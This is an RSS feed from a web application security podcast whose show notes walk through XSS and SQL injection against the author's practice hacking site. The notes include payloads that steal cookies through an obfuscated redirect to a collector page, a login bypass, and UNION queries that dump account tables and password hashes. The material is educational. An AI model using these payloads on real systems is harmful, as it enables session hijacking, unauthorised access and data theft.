<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>MightySeek &#187; Hands On Series</title>
	<atom:link href="http://www.mightyseek.com/category/podcasts/hands-on-series/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mightyseek.com</link>
	<description>Web Application Security Blog and Podcast</description>
	<lastBuildDate>Thu, 04 Mar 2010 02:42:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.9" -->
		<copyright>&#xA9;Dan Kuykendall </copyright>
		<itunes:new-feed-url>http://www.mightyseek.com/feed/podcast</itunes:new-feed-url>
		<managingEditor>dan@kuykendall.org (Dan Kuykendall)</managingEditor>
		<webMaster>dan@kuykendall.org(Dan Kuykendall)</webMaster>
		<category></category>
		<ttl>1440</ttl>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle>A podcast dedicated to Web Application Security</itunes:subtitle>
		<itunes:summary>A podcast about web application security, as well as general web application development issues. The primary focus is on security with an effort to explain things so that anyone can understand them since security issues affect everyone across an organization. Hopefully this show will be a resource for everyone involved in a software development project.</itunes:summary>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
<itunes:category text="Education">
  <itunes:category text="Training"/>
</itunes:category>
<itunes:category text="Technology"/>
		<itunes:owner>
			<itunes:name>Dan Kuykendall</itunes:name>
			<itunes:email>dan@kuykendall.org</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://www.mightyseek.com/images/itunescover.jpg" />
		<image>
			<url>http://www.mightyseek.com/images/itunescover.jpg</url>
			<title>MightySeek</title>
			<link>http://www.mightyseek.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Hands On Series &#8211; Cross Site Scripting (XSS) Part 1</title>
		<link>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-cross-site-scripting-xss-part-1</link>
		<comments>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-cross-site-scripting-xss-part-1#comments</comments>
		<pubDate>Mon, 28 Aug 2006 03:57:40 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Hands On Series]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/podcasts/hands-on-series-cross-site-scripting-xss-part-1</guid>
		<description><![CDATA[The “Hands on Series” continues!

In this episode we start dealing with Cross Site Scripting (XSS) attacks.
CSS = Cascading Style Sheets
XSS = Cross Site Scripting
Cross Site Scripting is a technique used to add script to a trusted site that will be executed on other users browsers.
A key element to XSS is that one user can submit [...]]]></description>
			<content:encoded><![CDATA[<p>The “Hands on Series” continues!<br />
<br />
In this episode we start dealing with Cross Site Scripting (XSS) attacks.</p>
<p>CSS = Cascading Style Sheets<br />
XSS = Cross Site Scripting</p>
<p>Cross Site Scripting is a technique used to add script to a trusted site that will be executed on other users browsers.<br />
A key element to XSS is that one user can submit data to a website that will later be displayed for other users.<br />
It is nessesary that the bad guy NOT mess up the HTML structure, otherwise the result will be web defacement rather then attacking other users.</p>
<p>The <a href="http://hackme.ntobjectives.com/" target="_new"><strong>hackme site</strong></a> has been updated and improved (more about that in a moment)</p>
<p>and now includes a section for XSS which we will be using in this episode.<br />
<a id="more-59"></a><br />
<span id="more-14"></span><br />
As usual, for the “Hands on Series” I recommend that you listen to these episodes while viewing the hacking test site and<br />
have the show notes visible and ready to cut and paste from.</p>
<p>If we look at the source for the page we will see this:</p>
<p>Lets start by trying to somehow add an attribute so that when someone mouses over the name, the javascript will be executed.</p>
<p><em><strong>Attack #1 &#8211; Against Email Address</strong></em></p>
<p><em>Attack 1: Original</em></p>
<p>&lt;a href=&#8221;mailto:<span style="background-color: #b3ec8e;">john@somedomain.com</span>&#8220;&gt;John Doe&lt;/a&gt;</p>
<p><em>Attack 1: Desired addition</em><br />
<span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);&#8221;</span></p>
<p><em>Attack 1: Desired Result</em><br />
&lt;a href=&#8221;mailto:bob@bob.com&#8221; <span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);&#8221;</span>&gt;Bob Smith&lt;/a&gt;</p>
<p><em>Attack 1: Attack String</em><br />
<span style="background-color: #ffcc66;">bob@bob.com&#8221; </span><span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);</span></p>
<p><em>Attack 1: Actual Result</em><br />
&lt;a href=&#8221;mailto:<span style="background-color: #ffcc66;">bob@bob.com&#8221; </span><span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);&#8221;</span>&gt;Bob Smith&lt;/a&gt;</p>
<p>Sucess! Mouse over the Name you entered and you see a popup that says “I hacked you”.<br />
At this point we have proven that we can insert code onto the site and have it executed by a web browser!<br />
This attack is only executed based on a user event (the user mousing over the link)</p>
<p>Lets try creating a script tag, which will get executed while the page is loaded by the browser (so basically right away).</p>
<p><em><strong>Attack #2 &#8211; Against Email Address</strong></em></p>
<p><em>Attack 2: Original</em><br />
&lt;a href=&#8221;mailto:<span style="background-color: #b3ec8e;">john@somedomain.com</span>&#8220;&gt;John Doe&lt;/a&gt;</p>
<p><em>Attack 2: Desired addition</em><br />
<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span></p>
<p><em>Attack 2: Desired Result</em><br />
&lt;a href=&#8221;mailto:bob@bob.com&#8221;&gt;<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span>&lt;&#8221;&gt;Bob Smith&lt;/a&gt;</p>
<p><em>Attack 2: Attack String</em><br />
<span style="background-color: #ffcc66;">bob@bob.com&#8221;&gt;</span><span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span><span style="background-color: #ffcc66;">&lt;&#8221;</span></p>
<p><em>Attack 2: Actual Result</em><br />
&lt;a href=&#8221;mailto:<span style="background-color: #ffcc66;">bob@bob.com&#8221;&amp;gt;</span><span style="background-color: yellow;">&amp;lt;script&amp;gt;alert(&#8217;Hacked&#8217;);&amp;lt;/script&amp;gt;</span><span style="background-color: #ffcc66;">&amp;lt;&#8221;</span>&#8220;&gt;Bob Smith&lt;/a&gt;</p>
<p>Failure! No popup takes place.<br />
Notice the Actual Result does not match the Desired Result.<br />
This is because of htmlentities as mentioned in the helper notes.</p>
<p><em><strong>Attack #3 &#8211; Against Title</strong></em></p>
<p><em>Attack 3: Original</em><br />
&lt;td&gt;<span style="background-color: #b3ec8e;">Works Great</span>&lt;/td&gt;</p>
<p><em>Attack 3: Desired addition</em><br />
<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span></p>
<p><em>Attack 3: Desired Result</em><br />
&lt;td&gt;<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p><em>Attack 3: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span></p>
<p><em>Attack 3: Actual Result</em><br />
&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(&amp;#39;Hacked&amp;#39;);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Failure! No popup takes place.<br />
This almost worked, except that the single and double quotes get escaped, so lets try making something that doesnt need quotes.</p>
<p><em><strong>Attack #4 &#8211; Against Title</strong></em></p>
<p>In the alert function lets use the global variable document.domain in the attack string.</p>
<p><em>Attack 4: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.domain);&lt;/script&gt;</span></p>
<p><em>Attack 4: Actual Result</em><br />
&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.domain);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Success! A popup should appear that says hackme.ntobjectives.com</p>
<p>Maybe this isnt convincing enough… lets try cookies.</p>
<p><em><strong>Attack #5 &#8211; Against Title</strong></em></p>
<p><em>Attack 5: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.cookie);&lt;/script&gt;</span></p>
<p><em>Attack 5: Actual Result</em></p>
<p>&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.cookie);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Success! A popup should appear that shows all your cookie data.<br />
Theres nothing stopping the hacker from having the user send this data to their server.</p>
<p>I have setup a page for displaying inputs sent to it, but it makes sure to escape characters to make sure this isnt an attack point.</p>
<p>http://hackme.ntobjectives.com/xss/bin.php</p>
<p>Try it now</p>
<p><a href="http://hackme.ntobjectives.com/xss/bin.php?abc=123" target="_new">http://hackme.ntobjectives.com/xss/bin.php?abc=123</a><br />
You should be shown that abc=123<br />
This page will display anything you put in the GET params.</p>
<p>I want to push your cookie data over to my site, so that I can attempt a session take over.</p>
<p><em><strong>Attack #6 &#8211; Against Title</strong></em></p>
<p><em>Attack 6: Original</em><br />
&lt;td&gt;<span style="background-color: #b3ec8e;">Works Great</span>&lt;/td&gt;</p>
<p><em>Attack 6: Desired addition</em></p>
<p><span style="background-color: yellow;">&lt;script&gt;window.location=&#8217;http://hackme.ntobjectives.com/xss/bin.php?var=&#8217;+document.cookie;&lt;/script&gt;</span></p>
<p>We have already established that I cannot insert those single quotes that I need around the URL, so we need to enter into a little more advanced methods.<br />
Using the javascript function String.fromCharCode allows me to get around needing quotes by turning each decimal value into its character, and it doesnt require any quotes.</p>
<p>So we just convert our desired string into decimal first</p>
<p>This:<br />
http://hackme.ntobjectives.com/xss/bin.php?var=</p>
<p>becomes:</p>
<p>104,116,116,112,58,47,47,104,97,99,107,109,101,46,109,105,103,104,116,121,115,101,101,107,46, 99,111,109,47,120,115,115,47,98,105,110,46,112,104,112,63,118,97,114,61</p>
<p>and the attack string becomes</p>
<p><em>Attack 6: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;window.location=String.fromCharCode(104,116,116,112,58,47,47,104,97,99,107,109,101, 46,109,105,103,104,116,121,115,101,101,107,46,99,111,109,47,120,115,115,47,98, 105,110,46,112,104,112,63,118,97,114,61)+document.cookie;&lt;/script&gt;</span></p>
<p><em>Attack 6: Actual Result</em><br />
&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;window.location=String.fromCharCode(104,116,116,112,58,47,47,104,97,99,107,109,101, 46,109,105,103,104,116,121,115,101,101,107,46,99,111,109,47,120,115,115,47,98, 105,110,46,112,104,112,63,118,97,114,61)+document.cookie;&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Success! Your browser should be sitting on http://hackme.ntobjectives.com/xss/bin.php and showing you all the data from your cookies.<br />
If this were an attackers site, it would just collect the info and pass you back to the page you came from, and its unlikely you would have ever noticed that your session information had been stolen</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-cross-site-scripting-xss-part-1/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
			<enclosure url="http://www.mightyseek.com/audio/MightySeek-16-2006-07-28-HandOnSeriesXSS.mp3" length="27508399" type="audio/mpeg"/>
<itunes:duration>38:10</itunes:duration>
		<itunes:subtitle>The ldquo;Hands on Seriesrdquo; continues!

In this episode we start dealing with Cross Site Scripting (XSS) attacks.

CSS = Cascading Style Sheets
XSS = Cross Site Scripting

Cross Site ...</itunes:subtitle>
		<itunes:summary>The ldquo;Hands on Seriesrdquo; continues!

In this episode we start dealing with Cross Site Scripting (XSS) attacks.

CSS = Cascading Style Sheets
XSS = Cross Site Scripting

Cross Site Scripting is a technique used to add script to a trusted site that will be executed on other users browsers.
A key element to XSS is that one user can submit data to a website that will later be displayed for other users.
It is nessesary that the bad guy NOT mess up the HTML structure, otherwise the result will be web defacement rather then attacking other users.

The hackme site has been updated and improved (more about that in a moment)

and now includes a section for XSS which we will be using in this episode.


As usual, for the ldquo;Hands on Seriesrdquo; I recommend that you listen to these episodes while viewing the hacking test site and
have the show notes visible and ready to cut and paste from.

If we look at the source for the page we will see this:

Lets start by trying to somehow add an attribute so that when someone mouses over the name, the javascript will be executed.

Attack #1 - Against Email Address

Attack 1: Original

#60;a href="mailto:john@somedomain.com"#62;John Doe#60;/a#62;

Attack 1: Desired addition
onmouseover="alert('Hacked');"

Attack 1: Desired Result
#60;a href="mailto:bob@bob.com" onmouseover="alert('Hacked');"#62;Bob Smith#60;/a#62;

Attack 1: Attack String
bob@bob.com" onmouseover="alert('Hacked');

Attack 1: Actual Result
#60;a href="mailto:bob@bob.com" onmouseover="alert('Hacked');"#62;Bob Smith#60;/a#62;

Sucess! Mouse over the Name you entered and you see a popup that says ldquo;I hacked yourdquo;.
At this point we have proven that we can insert code onto the site and have it executed by a web browser!
This attack is only executed based on a user event (the user mousing over the link)

Lets try creating a script tag, which will get executed while the page is loaded by the browser (so basically right away).

Attack #2 - Against Email Address

Attack 2: Original
#60;a href="mailto:john@somedomain.com"#62;John Doe#60;/a#62;

Attack 2: Desired addition
#60;script#62;alert('Hacked');#60;/script#62;

Attack 2: Desired Result
#60;a href="mailto:bob@bob.com"#62;#60;script#62;alert('Hacked');#60;/script#62;#60;"#62;Bob Smith#60;/a#62;

Attack 2: Attack String
bob@bob.com"#62;#60;script#62;alert('Hacked');#60;/script#62;#60;"

Attack 2: Actual Result
#60;a href="mailto:bob@bob.com"#38;gt;#38;lt;script#38;gt;alert('Hacked');#38;lt;/script#38;gt;#38;lt;""#62;Bob Smith#60;/a#62;

Failure! No popup takes place.
Notice the Actual Result does not match the Desired Result.
This is because of htmlentities as mentioned in the helper notes.

Attack #3 - Against Title

Attack 3: Original
#60;td#62;Works Great#60;/td#62;

Attack 3: Desired addition
#60;script#62;alert('Hacked');#60;/script#62;

Attack 3: Desired Result
#60;td#62;#60;script#62;alert('Hacked');#60;/script#62;#60;/td#62;

Attack 3: Attack String
Works Great#60;script#62;alert('Hacked');#60;/script#62;

Attack 3: Actual Result
#60;td#62;Works Great#60;script#62;alert(#38;#39;Hacked#38;#39;);#60;/script#62;#60;/td#62;

Failure! No popup takes place.
This almost worked, except that the single and double quotes get escaped, so lets try making something that doesnt need quotes.

Attack #4 - Against Title

In the alert function lets use the global variable document.domain in the attack string.

Attack 4: Attack String
Works Great#60;script#62;alert(document.domain);#60;/script#62;

Attack 4: Actual Result
#60;td#62;Works Great#60;script#62;alert(document.domain);#60;/script#62;#60;/td#62;

Success! A popup should appear that says hackme.ntobjectives.com

Maybe this isnt convincing enoughhellip; lets try cookies.

Attack #5 - Against Title

Attack 5: Attack String
Works Great#60;script#62;alert(docu</itunes:summary>
		<itunes:keywords>Hands,On,Series,,Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Hands On Series &#8211; SQL Injection Part 1</title>
		<link>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-sql-injection</link>
		<comments>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-sql-injection#comments</comments>
		<pubDate>Fri, 28 Apr 2006 21:56:15 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Hands On Series]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/podcasts/hands-on-series-sql-injection</guid>
		<description><![CDATA[The start of the “Hands on Series”, which means that there are actual
hands on excersises to go along with these shows.

I feel that its time to go beyond the concepts, the chatter about what bad guys can do,
and actually show you directly. Let you see for yourself the saying goes.
I recommend that you listen to [...]]]></description>
			<content:encoded><![CDATA[<p>The start of the “Hands on Series”, which means that there are actual<br />
hands on excersises to go along with these shows.</p>
<p></p>
<p>I feel that its time to go beyond the concepts, the chatter about what bad guys can do,<br />
and actually show you directly. Let you see for yourself the saying goes.</p>
<p>I recommend that you listen to these episodes while viewing the hacking test site and<br />
have the show notes visible and ready to cut and paste from.</p>
<ul>
<li><a href="http://hackme.ntobjectives.com/">http://hackme.ntobjectives.com/</a> &#8211; The new site setup for you to practice web app hacking.
<p>Includes <a href="http://hackme.ntobjectives.com/sql_inject/SQLInjectionAttacks.txt">detailed notes</a> and samples that can be used to practice with.</li>
<li><a href="http://www.mightyseek.com/web-hacking-toolkit/">Web App Hacking Toolkit</a> &#8211; Collection of tools and links helpful for web security.</li>
<li><a href="http://jonathancoulton.com/">Jonathan Coulton’s Things a Week</a> &#8211; Where the Code Monkey song came from.</li>
</ul>
<p><span id="more-5"></span></p>
<h1>Show Notes</h1>
<p>		Sample PHP code for authenticating a user during login</p>
<p>		<code>$sql = "SELECT * FROM accounts WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";</code></p>
<p>		If I enter admin for both the username and password the resulting sql statement would be as follows<br />
		<code>SELECT * FROM accounts WHERE username='admin' and password = '21232f297a57a5a743894a0e4a801fc3'</code></p>
<p>		If there is a record in accounts with both username and password as admin, then I will get logged in, otherwise the login will fail.</p>
<p>		Thats all well and good, but there is a very critical problem.<br />
		The problem here resides in the fact that there is no validation on what the user inputs, but the input is used to create a SQL statement.</p>
<p>		Lets take a look at the following SQL statement</p>
<p>		<code>SELECT * FROM accounts WHERE username='admin' /* and password = '21232f297a57a5a743894a0e4a801fc3 '</code></p>
<p>		What would this statement result in?<br />
		First thing to notice is the <code>/*</code></p>
<p>		This is a comment delimiter in MySQL, which means anything following it is considered a comment and is ignored.<br />
		Another way to think about it is that the SQL Statement ends at this point.</p>
<p>		So if there statement ends at the <code>/*</code> then the effective SQL statement is<br />
		<code>SELECT * FROM accounts WHERE username='admin'</code></p>
<p>		So when will this generate a valid result?</p>
<p>		It will be valid if the username exists in the database, and if it does, then it will return that record.<br />
		This means it will log me in as the admin <b>without need for discovering/guessing the password!!</b></p>
<p>		Sounds good, how would I make the SQL statement look like that. Well try entering in this as your username<br />
<code>admin' /*</code><br />
If you look again at the orignal SQL statement and insert this as the username you will see how it alters the SQL statement in a way that the statement is still valid in syntax but the symantic meaning has been altered to suit your needs. Here is what it will look like<br />
<code>SELECT * FROM accounts WHERE username='admin' /* ' and password = '21232f297a57a5a743894a0e4a801fc3'</code><br />
Now isnt this cool?</p>
<p>		Alright, now look at the source code. Theres a link to the source on the main page.</p>
<p>		Notice that its displaying the username from the database query result.</p>
<p>		This means we can see data from the database. So lets try using a UNION query to get arbitrary data from the database.<br />
		When using UNION queries there is a requirement that both sets of data share the exact same number of columns.<br />
		Since you dont know how many columns are being returned, we have to discover this information using this technique</p>
<p>		How to solve over/under column problems</p>
<p>		Start with one field using NULL as its value<br />
		<code>admin' UNION SELECT NULL FROM accounts LIMIT 1,1 /*</code></p>
<p>		This will result in an error “The used SELECT statements have a different number of columns”.<br />
		This is telling us that the two data sets do not having matching number of columns.</p>
<p>		Add another NULL<br />
		<code>admin' UNION SELECT NULL, NULL FROM accounts LIMIT 1,1 /*</code></p>
<p>		Same error</p>
<p>		and Add another NULL<br />
		<code>admin' UNION SELECT NULL, NULL, NULL FROM accounts LIMIT 1,1 /*</code></p>
<p>		No more error.</p>
<p>		Now that we know how many columns we have to work with, lets concat in the data</p>
<p>		In these we will get the account table records</p>
<p>		<code>admin' UNION SELECT NULL, concat(id, ' - ', username, ' - ', password) AS username, NULL FROM accounts LIMIT 1,1 /*</code><br />
		Notice the last field is the MD5 hash. Here is where the toolkit link to the MD5 hash database comes in handy http://www.md5decrypt.com/</p>
<p>		Put in that md5 hash and if its a common password, you will get a result</p>
<p>		Now lets get another user record by shifting the <code>LIMIT</code> to start on the next record</p>
<p>		admin’ UNION SELECT NULL, concat(id, ‘ &#8211; ‘, username, ‘ &#8211; ‘, password) AS username, NULL FROM accounts LIMIT 2,1 /*</p>
<p>		Now lets get data from an entirely different table</p>
<p>		<code>admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 1,1 /*</code></p>
<p>		<code>admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 2,1 /*</code></p>
<p>		As you can see, once you have a SQL injection point you can gain access to a great deal of database information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-sql-injection/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
			<enclosure url="http://www.mightyseek.com/audio/MightySeek-14-2006-04-28-HandOnSeriesSQLInjection.mp3" length="41814674" type="audio/mpeg"/>
<itunes:duration>58:03</itunes:duration>
		<itunes:subtitle>The start of the ldquo;Hands on Seriesrdquo;, which means that there are actual
hands on excersises to go along with these shows.

I feel that its time ...</itunes:subtitle>
		<itunes:summary>The start of the ldquo;Hands on Seriesrdquo;, which means that there are actual
hands on excersises to go along with these shows.

I feel that its time to go beyond the concepts, the chatter about what bad guys can do,
and actually show you directly. Let you see for yourself the saying goes.
I recommend that you listen to these episodes while viewing the hacking test site and
have the show notes visible and ready to cut and paste from.

http://hackme.ntobjectives.com/ - The new site setup for you to practice web app hacking.

Includes detailed notes and samples that can be used to practice with.
Web App Hacking Toolkit - Collection of tools and links helpful for web security.
Jonathan Coultonrsquo;s Things a Week - Where the Code Monkey song came from.


Show Notes
		Sample PHP code for authenticating a user during login
		$sql = "SELECT * FROM accounts WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";
		If I enter admin for both the username and password the resulting sql statement would be as follows
		SELECT * FROM accounts WHERE username='admin' and password = '21232f297a57a5a743894a0e4a801fc3'
		If there is a record in accounts with both username and password as admin, then I will get logged in, otherwise the login will fail.

		Thats all well and good, but there is a very critical problem.
		The problem here resides in the fact that there is no validation on what the user inputs, but the input is used to create a SQL statement.
		Lets take a look at the following SQL statement
		SELECT * FROM accounts WHERE username='admin' /* and password = '21232f297a57a5a743894a0e4a801fc3 '
		What would this statement result in?
		First thing to notice is the /*

		This is a comment delimiter in MySQL, which means anything following it is considered a comment and is ignored.
		Another way to think about it is that the SQL Statement ends at this point.
		So if there statement ends at the /* then the effective SQL statement is
		SELECT * FROM accounts WHERE username='admin'
		So when will this generate a valid result?

		It will be valid if the username exists in the database, and if it does, then it will return that record.
		This means it will log me in as the admin without need for discovering/guessing the password!!
		Sounds good, how would I make the SQL statement look like that. Well try entering in this as your username
admin' /*
If you look again at the orignal SQL statement and insert this as the username you will see how it alters the SQL statement in a way that the statement is still valid in syntax but the symantic meaning has been altered to suit your needs. Here is what it will look like
SELECT * FROM accounts WHERE username='admin' /* ' and password = '21232f297a57a5a743894a0e4a801fc3'
Now isnt this cool?

		Alright, now look at the source code. Theres a link to the source on the main page.
		Notice that its displaying the username from the database query result.
		This means we can see data from the database. So lets try using a UNION query to get arbitrary data from the database.
		When using UNION queries there is a requirement that both sets of data share the exact same number of columns.
		Since you dont know how many columns are being returned, we have to discover this information using this technique
		How to solve over/under column problems

		Start with one field using NULL as its value
		admin' UNION SELECT NULL FROM accounts LIMIT 1,1 /*
		This will result in an error ldquo;The used SELECT statements have a different number of columnsrdquo;.
		This is telling us that the two data sets do not having matching number of columns.
		Add another NULL
		admin' UNION SELECT NULL, NULL FROM accounts LIMIT 1,1 /*

		Same error
		and Add another NULL
		admin' UNION SELECT NULL, NULL, NULL FROM accounts LIMIT 1,1 /*
		No more error.
		Now that we know how many columns we have to work with, lets concat in the data
		In these ...</itunes:summary>
		<itunes:keywords>Hands,On,Series,,Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
	</channel>
</rss>
